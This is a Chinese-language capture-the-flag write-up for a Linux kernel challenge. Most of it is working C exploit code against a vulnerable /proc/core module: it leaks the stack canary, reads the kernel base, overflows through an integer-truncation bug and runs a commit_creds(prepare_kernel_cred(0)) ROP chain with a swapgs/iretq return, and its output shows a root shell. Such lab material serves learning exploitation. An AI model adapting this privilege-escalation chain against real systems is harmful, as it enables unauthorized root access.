#include
#include
#include
#include
#include
#include
#include
int set_off(int fd, unsigned long off) {
if (ioctl(fd, 1719109788, off) == -1) {
perror("[!] set_off ioctl failed");
return -1;
}
return 0;
}
int core_read(int fd, void *copy_to_addr) {
if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
perror("[!] core_read ioctl failed");
return -1;
}
return 0;
}
int core_copy_func(int fd, int len=-1) {
if (ioctl(fd, 1719109786, len) == -1) {
perror("[!] core_copy_func ioctl failed");
return -1;
}
return 0;
}
int main() {
int fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("[!] open failed");
return EXIT_FAILURE;
}
printf("[+] open success!\n");
char buf1[0x40]={0};
printf("buf1 addr: %p\n", buf1);
// 泄露金丝雀
set_off(fd, 0x40); // v5 是char,偏移不是8
core_read(fd, buf1);
uint64_t canary = ((uint64_t*)buf1)[0];
printf("[+] Leaked canary: 0x%lx\n", canary);
}
现在我们要想办法获取内核基地址,来进行ROP
/proc/kallsyms
是Linux/proc
文件系统中的一个虚拟文件,它提供了内核导出的所有符号(函数和变量)及其地址的列表。本质上,它是用户空间可以访问的内核符号表。此文件中的每一行都表示一个内核符号
[地址][类型][符号名称]
[address]
:符号所在的内存地址。[type]
:表示符号类型的字符(例如,T
表示文本(代码)符号,D
表示初始化数据)。[符号名称]
:符号(函数或变量)的名称。/ # cat /proc/kallsyms | head -n 10
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
ffffffff81000000 T startup_64
ffffffff81000000 T _stext
ffffffff81000000 T _text
ffffffff81000030 T secondary_startup_64
ffffffff810000e0 T verify_cpu
ffffffff810001e0 T start_cpu0
ffffffff810001f0 T __startup_64
ffffffff81000370 T __startup_secondary_64
startup_64
是 Linux 内核代码中的一个符号,通常与内核启动过程中的初始化代码相关。在cat /proc/kallsyms
输出中,startup_64
对应的地址(如ffffffff81000000
)是内核的基地址。该地址表示内核加载到内存时的起始位置。
题目初始脚本将 /proc/kallsyms 写入了 /tmp/kallsyms
cat /proc/kallsyms > /tmp/kallsyms
我们可以让ai写出一个工具
#include
#include
#include
#define MAX_LINE_LENGTH 1024
// 函数:从 /proc/kallsyms 获取特定符号的地址
unsigned long get_symbol_address(const char *symbol_name) {
FILE *fp;
char line[MAX_LINE_LENGTH];
unsigned long address;
char symbol[MAX_LINE_LENGTH];
// 打开 /proc/kallsyms 文件
fp = fopen("/proc/kallsyms", "r");
if (fp == NULL) {
perror("fopen");
return 0;
}
// 遍历每一行,查找符号
while (fgets(line, sizeof(line), fp) != NULL) {
// 解析每行的地址和符号名称
if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
// 如果符号名称匹配,返回地址
if (strcmp(symbol, symbol_name) == 0) {
fclose(fp);
return address;
}
}
}
// 如果没有找到符号,返回 0
fclose(fp);
return 0;
}
int main() {
const char *symbol_name = "startup_64"; // 你想查找的符号名称
unsigned long address = get_symbol_address(symbol_name);
if (address != 0) {
printf("Symbol '%s' address: 0x%lx\n", symbol_name, address);
} else {
printf("Symbol '%s' not found.\n", symbol_name);
}
return 0;
}
由此来获得程序基地址
#include
#include
#include
#include
#include
#include
#include
#include
int set_off(int fd, unsigned long off) {
if (ioctl(fd, 1719109788, off) == -1) {
perror("[!] set_off ioctl failed");
return -1;
}
return 0;
}
int core_read(int fd, void *copy_to_addr) {
if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
perror("[!] core_read ioctl failed");
return -1;
}
return 0;
}
int core_copy_func(int fd, int len=-1) {
if (ioctl(fd, 1719109786, len) == -1) {
perror("[!] core_copy_func ioctl failed");
return -1;
}
return 0;
}
unsigned long get_symbol_address(const char *symbol_name) {
FILE *fp;
char line[1024];
unsigned long address;
char symbol[1024];
// 打开 /proc/kallsyms 文件
fp = fopen("/tmp/kallsyms", "r");
if (fp == NULL) {
perror("fopen");
return 0;
}
// 遍历每一行,查找符号
while (fgets(line, sizeof(line), fp) != NULL) {
// 解析每行的地址和符号名称
if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
// 如果符号名称匹配,返回地址
if (strcmp(symbol, symbol_name) == 0) {
fclose(fp);
return address;
}
}
}
// 如果没有找到符号,返回 0
fclose(fp);
return 0;
}
int main() {
int fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("[!] open failed");
return EXIT_FAILURE;
}
printf("[+] open success!\n");
// 泄露金丝雀
char buf1[0x40]={0};
printf("buf1 addr: %p\n", buf1);
set_off(fd, 0x40); // v5 是char,偏移不是8
core_read(fd, buf1);
uint64_t canary = ((uint64_t*)buf1)[0];
printf("[+] Leaked canary: 0x%lx\n", canary);
// 获取内核基地址
uint64_t kernel_base = get_symbol_address("startup_64");
printf("[+] kernel Base: %p\n", kernel_base);
return 0;
}
接下来我们可以通过 core_write写入name来进行rop
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 4294967282LL;
}
我们需要从vmlinux寻找rop链,并利用错误的转换来进行溢出执行
commit_cred(prepare_kernel_cred(0))
prepare_kernel_cred(0)
struct cred
),表示权限信息。0
(或 NULL
) 时,内核会生成一个 具有 root 权限的凭证。
prepare_kernel_cred
的实现逻辑大致如下:struct cred *prepare_kernel_cred(struct task_struct *daemon) {
if (daemon) // 如果传入有效进程描述符,则复制其权限
return copy_cred(daemon->cred);
else // 如果传入 NULL,则生成 root 权限的凭证
return create_root_cred();
}
prepare_kernel_cred(0)
会返回一个 root 权限的 struct cred
。commit_cred(new_cred)
new_cred
)绑定到当前进程,修改其权限。cred
结构体,使其权限升级为 root。tips: 调试
gdb -q vmlinux -ex "target remote :1234" -ex "add-symbol-file core.ko 0xffffffffc0000000" -ex "b *0xffffffffc0000131" -ex "c"
tips: 你可以试着写一些自动化工具来加速rop的寻找速度
/usr/bin/python3.10 /home/a5rz/Desktop/pwn_project/codes/FindROP/FindROP_amd64.py
[*] '/home/a5rz/Desktop/pwn_project/binary_file/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Loaded 514 cached gadgets for '/home/a5rz/Desktop/pwn_project/binary_file/vmlinux'
开始寻找解决方案: rdi=rax
尝试: ['pop *reg* ; ret', 'mov rdi, rax ; call *reg*']
方案可行: ['pop *reg* ; ret', 'mov rdi, rax ; call *reg*']
0x0000: 0xb2f pop rdi; ret
0x0008: 0x0 [arg0] rdi = startup_64
0x0010: 0x9cce0
0x0018: 0x21e53 pop rcx; ret
0x0020: 0x21e53 pop rcx; ret
0x0028: 0x5c0db1
0x0030: 0x9c8e0 commit_creds
成功构造commit_creds(prepare_kernel_cred(0)),现在开始构造ROP返回到用户态
尝试寻找: ['swapgs ; popfq ; ret', 'iretq']
成功:已经构造完整的内核提权链
0x0000: 0xb2f pop rdi; ret
0x0008: 0x0 [arg0] rdi = startup_64
0x0010: 0x9cce0
0x0018: 0x21e53 pop rcx; ret
0x0020: 0x21e53 pop rcx; ret
0x0028: 0x5c0db1
0x0030: 0x9c8e0 commit_creds
0x0038: 0xa012da
0x0040: 0x0 startup_64
0x0048: 0x50ac2
0x0050: b'rip' 'rip'
0x0053: b'cs' 'cs'
0x0055: b'rflags' 'rflags'
0x005b: b'rsp' 'rsp'
0x005e: b'ss' 'ss'
我这个写的有点乱,感兴趣可以找我要代码
#include
#include
#include
#include
#include
#include
#include
#include
int set_off(int fd, unsigned long off) {
if (ioctl(fd, 1719109788, off) == -1) {
perror("[!] set_off ioctl failed");
return -1;
}
return 0;
}
int core_read(int fd, void *copy_to_addr) {
if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
perror("[!] core_read ioctl failed");
return -1;
}
return 0;
}
int core_copy_func(int fd, int64_t len=0xffffffffffff0000|0x100) { // 注意转换的是 (unsigned __int16)
if (ioctl(fd, 1719109786, len) == -1) {
perror("[!] core_copy_func ioctl failed");
return -1;
}
return 0;
}
void overflow(int fd, uint64_t *arr) {
write(fd, arr, 0x800);
core_copy_func(fd);
}
unsigned long get_symbol_address(const char *symbol_name) {
FILE *fp;
char line[1024];
unsigned long address;
char symbol[1024];
// 打开 /tmp/kallsyms 文件
fp = fopen("/tmp/kallsyms", "r");
if (fp == NULL) {
perror("fopen");
return 0;
}
// 遍历每一行,查找符号
while (fgets(line, sizeof(line), fp) != NULL) {
// 解析每行的地址和符号名称
if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
// 如果符号名称匹配,返回地址
if (strcmp(symbol, symbol_name) == 0) {
fclose(fp);
return address;
}
}
}
// 如果没有找到符号,返回 0
fclose(fp);
return 0;
}
int main() {
int fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("[!] open failed");
return EXIT_FAILURE;
}
printf("[+] open success!\n");
// 泄露金丝雀
char buf1[0x40]={0};
set_off(fd, 0x40); // v5 是char,偏移不是8
core_read(fd, buf1);
uint64_t canary = ((uint64_t*)buf1)[0];
printf("[+] Leaked canary: 0x%lx\n", canary);
// 获取内核基地址
uint64_t kernel_base = get_symbol_address("startup_64");
printf("[+] kernel Base: %p", kernel_base);
uint64_t ROP[0x800/8] = {0};
ROP[8] = canary;
ROP[10] = kernel_base + 0xb2f; // pop rdi; ret
ROP[11] = 0;// rdi
ROP[12] = kernel_base + 0x9cce0; //prepare_kernel_cred(0)
ROP[13] = kernel_base + 0x21e53; //pop rcx; ret
ROP[14] = 0; // ret
ROP[15] = kernel_base + 0x623d0b; // mov rdi, rax; call rcx
ROP[16] = kernel_base + 0x9c8e0; // commit_creds(prepare_kernel_cred(0))
overflow(fd, ROP);
return 0;
}
你可能不理解什么是用户态与内核态
我用一个餐厅的比喻来形象地理解内核态和用户态:
read()
读取文件)。总结:内核态像餐厅后厨,拥有最高权限但风险集中;用户态像用餐区,方便但受限。两者通过“服务员”(系统调用)协作,兼顾安全与效率。
那我们如何从内核态中返回呢
在内核态执行 swapgs
,交换 GS 寄存器的基地址,确保其指向用户态的上下文:
swapgs ; 恢复用户态 GS 基地址
在内核栈中按顺序压入以下值,供 iretq
指令使用:
0x23
(用户态代码段选择子)。0x202
(启用中断,保留标准标志)。/bin/sh
的地址)。0x2B
(用户态数据段选择子)。假设用户态代码的入口地址为 user_rip
,用户态栈指针为 user_rsp
,则内核栈应布局如下(从高地址到低地址):
栈偏移 | 值 | 说明 |
---|---|---|
+40 | user_ss |
SS = 0x2B |
+32 | user_rsp |
用户态栈指针 |
+24 | user_rflags |
RFLAGS = 0x202 |
+16 | user_cs |
CS = 0x23 |
+8 | user_rip |
用户态代码入口(如 shell) |
+0 | … | 其他寄存器或数据 |
通过 mov
指令或 ROP 链将值写入栈:
; 假设 rsp 指向内核栈顶
mov QWORD PTR [rsp + 0x00], user_rip ; RIP
mov QWORD PTR [rsp + 0x08], user_cs ; CS = 0x23
mov QWORD PTR [rsp + 0x10], user_rflags ; RFLAGS = 0x202
mov QWORD PTR [rsp + 0x18], user_rsp ; RSP
mov QWORD PTR [rsp + 0x20], user_ss ; SS = 0x2B
iretq ; 从栈中弹出 RIP, CS, RFLAGS, RSP, SS,切换回用户态
假设已通过漏洞控制内核执行流,以下为返回用户态的典型步骤:
恢复 GS 寄存器:
swapgs ; 恢复用户态 GS 基地址
设置栈帧:
; 假设已通过溢出控制内核栈
mov rsp, 0xffff880012345000 ; 指向构造好的内核栈地址
; 填充栈内容
push 0x2B ; SS
push user_rsp ; 用户态栈指针
push 0x202 ; RFLAGS
push 0x23 ; CS
push user_rip ; 用户态代码入口(如 shell)
返回用户态:
iretq ; 切换回用户态
总结:正确布局栈的关键是构造符合 iretq
预期的栈帧,并恢复用户态的执行环境。通过精确控制 RIP
、RSP
、CS
、SS
和 RFLAGS
,即可安全返回用户态并执行提权后的代码。
由此写出
#include
#include
#include
#include
#include
#include
#include
#include
int set_off(int fd, unsigned long off) {
if (ioctl(fd, 1719109788, off) == -1) {
perror("[!] set_off ioctl failed");
return -1;
}
return 0;
}
int core_read(int fd, void *copy_to_addr) {
if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
perror("[!] core_read ioctl failed");
return -1;
}
return 0;
}
int core_copy_func(int fd, int64_t len=0xffffffffffff0000|0x150) { // 强制转换漏洞 len被转换为 (unsigned __int16)
if (ioctl(fd, 1719109786, len) == -1) {
perror("[!] core_copy_func ioctl failed");
return -1;
}
return 0;
}
void overflow(int fd, uint64_t *arr) {
write(fd, arr, 0x800);
core_copy_func(fd);
}
unsigned long get_symbol_address(const char *symbol_name) {
FILE *fp;
char line[1024];
unsigned long address;
char symbol[1024];
// 打开 /tmp/kallsyms 文件
fp = fopen("/tmp/kallsyms", "r");
if (fp == NULL) {
perror("fopen");
return 0;
}
// 遍历每一行,查找符号
while (fgets(line, sizeof(line), fp) != NULL) {
// 解析每行的地址和符号名称
if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
// 如果符号名称匹配,返回地址
if (strcmp(symbol, symbol_name) == 0) {
fclose(fp);
return address;
}
}
}
// 如果没有找到符号,返回 0
fclose(fp);
return 0;
}
void check(){
if(!getuid()){
printf("you are root!\n");
system("/bin/sh");
}else{
printf("you no root!\n");
}
exit(0);
}
int main() {
int fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("[!] open failed");
return EXIT_FAILURE;
}
printf("[+] open success!\n");
// 泄露金丝雀
char buf1[0x40]={0};
set_off(fd, 0x40); // v5 是char,偏移不是8
core_read(fd, buf1);
uint64_t canary = ((uint64_t*)buf1)[0];
printf("[+] Leaked canary: 0x%lx\n", canary);
// 获取内核基地址
uint64_t kernel_base = get_symbol_address("startup_64");
printf("[+] kernel Base: %p\n", kernel_base);
uint64_t ROP[0x800/8] = {0};
ROP[8] = canary;
ROP[10] = kernel_base + 0xb2f; // pop rdi; ret
ROP[11] = 0;// rdi
ROP[12] = kernel_base + 0x9cce0; //prepare_kernel_cred(0)
ROP[13] = kernel_base + 0x21e53; // pop rcx; ret
ROP[14] = kernel_base + 0x21e53; // pop rcx; ret
ROP[15] = kernel_base + 0x623d0b; // mov rdi, rax; call rcx
ROP[16] = kernel_base + 0x9c8e0; // commit_creds(prepare_kernel_cred(0))
ROP[17] = kernel_base + 0xa012da; // swapgs ; popfq ; ret
ROP[18] = 0; // popfq
ROP[19] = kernel_base + 0x50ac2; // iretq
uint64_t user_cs, user_ss, user_rflags, user_sp;
__asm__ __volatile__(
"mov %%cs, %0\n\t"
"mov %%ss, %1\n\t"
"mov %%rsp, %2\n\t"
"pushfq\n\t"
"pop %3\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory"
);
ROP[20] = (uint64_t)check; // rip
ROP[21] = user_cs;
ROP[22] = user_rflags;
ROP[23] = user_sp;
ROP[24] = user_ss;
overflow(fd, ROP);
return 0;
}
结束
/ # su chal
/ $ ./C_Payload
[+] open success!
[+] Leaked canary: 0xe8592fa28a75ab00
[+] kernel Base: 0xffffffff81000000
you are root!
/ # id
uid=0(root) gid=0(root)